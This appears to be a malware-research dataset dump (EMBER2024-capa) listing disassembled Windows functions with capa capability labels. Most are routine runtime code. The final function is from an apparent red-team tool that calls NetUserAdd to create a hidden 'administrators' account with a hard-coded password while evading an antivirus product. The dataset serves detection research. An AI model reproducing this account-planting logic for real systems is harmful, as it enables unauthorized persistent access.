joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001656c
Capabilities:
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rcx + 0x18]
mov rdx, qword [rdi + 0x20]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
cmp rdx, 0x1000
jb 0x1800165a9
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800165fe
mov rcx, r8
call fcn.180007634
and qword [rdi + 0x18], 0
and qword [rdi + 0x20], 0
and qword [rdi + 0x28], 0
mov rcx, qword [rdi + 8]
mov rax, qword [rcx + 8]
and qword [rax], 0
mov rcx, qword [rcx]
test rcx, rcx
je 0x1800165e6
mov rbx, qword [rcx]
mov edx, 0x18
call fcn.180007634
mov rcx, rbx
test rbx, rbx
jne 0x1800165d1
mov rcx, qword [rdi + 8]
mov edx, 0x18
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.180007634
call fcn.180006838
int3
Function at 0x180017ed4
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rsi, rcx
call fcn.18000c4b8
test al, al
je 0x180017f84
mov rcx, rbx
call fcn.18000c4b8
mov edi, 1
test al, al
jne 0x180017f0b
xor ebx, ebx
jmp 0x180017f41
mov rcx, qword [rbx]
test rcx, rcx
je 0x180017f07
mov rcx, qword [rcx + 0x10]
movabs rbx, 0xcbf29ce484222325
jmp 0x180017f3b
movsx rax, al
movabs rdx, 0x100000001b3
xor rbx, rax
imul rbx, rdx
add rcx, rdi
mov al, byte [rcx]
test al, al
jne 0x180017f23
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], rbx
call fcn.1800158c8
and rax, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x18]
add rax, rax
mov rcx, qword [rdx + rax*8 + 8]
cmp rcx, qword [rsi + 8]
je 0x180017f7d
mov rdx, qword [rdx + rax*8]
jmp 0x180017f75
cmp rcx, rdx
je 0x180017f7d
mov rcx, qword [rcx + 8]
cmp rbx, qword [rcx + 0x10]
jne 0x180017f6c
jmp 0x180017f7f
xor ecx, ecx
test rcx, rcx
jne 0x180017f87
xor dil, dil
mov rbx, qword [rsp + 0x30]
mov al, dil
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x180021df8
Capabilities:
Hash data using fnv

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.18000c4b8
test al, al
je 0x180021e45
mov rax, qword [rbx]
test rax, rax
je 0x180021e45
mov rdx, qword [rax + 0x10]
movabs rcx, 0xcbf29ce484222325
jmp 0x180021e3a
movsx rax, al
movabs r8, 0x100000001b3
xor rcx, rax
imul rcx, r8
inc rdx
mov al, byte [rdx]
test al, al
jne 0x180021e22
mov rax, rcx
jmp 0x180021e47
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x180044c10
Capabilities:
Hash data using fnv

Disassembly:
sub rsp, 0x28
cmp byte [rcx], 0
mov rax, rdx
je 0x180044c39
movsx rdx, byte [rcx]
xor rdx, rax
movabs rax, 0x100000001b3
imul rdx, rax
inc rcx
call fcn.180044c10
add rsp, 0x28
ret
Function at 0x140fee058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140fee1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140fee089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140fee06f
add dl, dl
jne 0x140fee096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140fee0f6
xor eax, eax
add dl, dl
jne 0x140fee0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140fee1ad
add dl, dl
jne 0x140fee0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140fee0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140fee0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140fee0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140fee0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140fee07e
mov eax, 1
add dl, dl
jne 0x140fee106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140fee113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140fee0fb
sub eax, ebx
mov ebx, 1
jne 0x140fee14c
mov ecx, 1
add dl, dl
jne 0x140fee12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140fee13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140fee123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140fee07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140fee168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140fee175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140fee15d
cmp eax, 0x7d00
jae 0x140fee19b
cmp eax, 0x500
jb 0x140fee196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140fee07e
cmp eax, 0x7f
ja 0x140fee19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140fee07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140fee1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140fee07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400726f8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1400a5600
mov rax, rcx
neg rcx
test rax, 7
je 0x1400a561d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1400a5678
test al, 7
jne 0x1400a5610
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x1400a5631
mov rdx, qword [rax - 8]
test dl, dl
je 0x1400a56a2
test dh, dh
je 0x1400a569c
shr rdx, 0x10
test dl, dl
je 0x1400a5696
test dh, dh
je 0x1400a5690
shr rdx, 0x10
test dl, dl
je 0x1400a568a
test dh, dh
je 0x1400a5684
shr edx, 0x10
test dl, dl
je 0x1400a567e
test dh, dh
jne 0x1400a5631
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x140072a40
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x1400a3eb0
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400a3830
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400a3eef
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401a8020]
jmp 0x1400a3ef9
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x140072ba3
Capabilities:
Query environment variable

Disassembly:
jmp 0x140122170
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140121fa0
lea rcx, [rsp + 0x40]
call fcn.140122120
movzx eax, al
test eax, eax
jne 0x1401221b8
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.140121fd0
mov rax, qword [rsp + 0x70]
jmp 0x140122389
lea rcx, [rsp + 0x40]
call fcn.1401220f0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.140122090
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.1401220f0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.14007366b
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14012225e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.140121fd0
mov rax, qword [rsp + 0x80]
jmp 0x140122389
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.14007293c
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140072815
lea rcx, [rsp + 0x48]
call fcn.1400724a0
movzx eax, al
test eax, eax
jne 0x1401222c5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.1400717cb
lea rcx, [rsp + 0x40]
call fcn.140121fd0
mov rax, qword [rsp + 0x88]
jmp 0x140122389
lea rcx, [rsp + 0x48]
call fcn.140072ea0
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.1401220f0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.14007366b
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14012235b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.1400717cb
lea rcx, [rsp + 0x40]
call fcn.140121fd0
mov rax, qword [rsp + 0xa0]
jmp 0x140122389
lea rcx, [rsp + 0x48]
call fcn.1400727e8
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.1400717cb
lea rcx, [rsp + 0x40]
call fcn.140121fd0
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x140072bad
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x1400a3de0
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.1400a37b0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400a3e21
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401a8020]
jmp 0x1400a3e27
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x140072c2f
Capabilities:
Get geographical location

Disassembly:
jmp 0x14011aa70
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.1401199a0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14011aad7
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x1401a8030]
jmp 0x14011aaf9
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.140072441
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x140072c3e
Capabilities:
Terminate process

Disassembly:
jmp 0x1400827f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140072e50
Capabilities:
Print debug messages

Disassembly:
jmp 0x14013a760
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x140195018]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x14013a786
jmp 0x14013a803
mov rcx, qword [rbp + 0x30]
call fcn.1400726f8
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14013a79f
jmp 0x14013a803
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x14013a7bc
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.140071929
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140071d25
test eax, eax
jne 0x14013a803
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.1400728c9
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x140073314
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400816a0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400816c0
xor al, al
jmp 0x140081741
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400816d3
xor al, al
jmp 0x140081741
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400816fd
xor al, al
jmp 0x140081741
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140081711
xor al, al
jmp 0x140081741
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140081723
xor al, al
jmp 0x140081741
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14008173f
xor al, al
jmp 0x140081741
mov al, 1
add rsp, 0x38
ret
Function at 0x14007380f
Capabilities:
Terminate process

Disassembly:
jmp 0x1400a5410
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x1400a543e
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.140073fbc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140074011
Capabilities:
Print debug messages

Disassembly:
jmp 0x1401180c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x1400740bb
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x1400a3f20
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400a3870
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400a3f69
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401a8020]
jmp 0x1400a3f78
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret
Function at 0x14014b110
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.140071929
sub rsp, rax
mov rax, qword [0x140195018]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x140198310]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x14014b302
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x14014b256
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x14014b256
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x14014b23b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x14014b1d8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14014b2c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14014b321
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x14014b2fd
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14014b321
jmp 0x14014b1ae
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400728c9
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x14014b3d0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.140071929
sub rsp, rax
mov rax, qword [0x140195018]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x140198310]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x14014b5dd
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x14014b529
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x14014b529
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x14014b509
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x14014b498
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14014b59d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14014b5fc
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x14014b5d8
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14014b5fc
jmp 0x14014b46e
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400728c9
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140001001
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140008af0]
mov rcx, qword [0x140008aa0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x140008b00]
cmp word [rcx], 0x5a4d
mov dword [rax], 1
mov rax, qword [0x140008b10]
mov dword [rax], 1
jne 0x140001083
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x140001083
mov ecx, dword [rax + 0x18]
cmp cx, 0x10b
je 0x14000105e
cmp cx, 0x20b
je 0x14000106d
jmp 0x140001083
cmp dword [rax + 0x74], 0xe
jbe 0x140001083
cmp dword [rax + 0xe8], 0
jmp 0x14000107d
cmp dword [rax + 0x84], 0xe
jbe 0x140001083
cmp dword [rax + 0xf8], 0
setne dl
movzx edx, dl
mov rax, qword [0x140008ae0]
mov dword [0x14000c00c], edx
mov ecx, 2
cmp dword [rax], 0
jne 0x14000109f
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140008bc0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140008ba0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140008a50]
cmp dword [rax], 1
jne 0x1400010e1
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400015a0
Capabilities:
Add user account

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp - 4], 1
mov dword [rbp - 0x44], 0
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x2c], 1
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov dword [rbp - 0x18], 0x10000
mov qword [rbp - 0x10], 0
lea rcx, [rbp - 0x44]
lea rdx, [rbp - 0x40]
mov eax, dword [rbp - 4]
mov r9, rcx
mov r8, rdx
mov edx, eax
mov ecx, 0
call sym.NetUserAdd
mov dword [rbp - 8], eax
cmp dword [rbp - 8], 0
jne 0x1400016b9
mov rax, qword [0x14000c030]
mov edx, 0xa
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call rax
lea rax, str.___https:__github.com_0x6C696A756E_bypass_HuoRong_addUser_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.___Support__Versions_of_Windows_XP___Windows_11_____x86_or_x64__n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.___Support__Versions_of_Windows_Server_2003___Windows_Server_2022_____x86_or_x64__n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.___Add_User_Successful
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.___Username_is____administrators__n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.___Password_is____Redteam123_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.___Password_never_expires
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [0x14000c030]
mov edx, 7
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call rax
jmp 0x14000170c
mov rax, qword [0x14000c030]
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call rax
lea rax, str.___https:__github.com_0x6C696A756E_bypass_HuoRong_addUser_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, dword [rbp - 8]
mov edx, eax
lea rax, str.____Add_User_Error_
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [0x14000c030]
mov edx, 7
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call rax
mov eax, 0
add rsp, 0x70
pop rbp
ret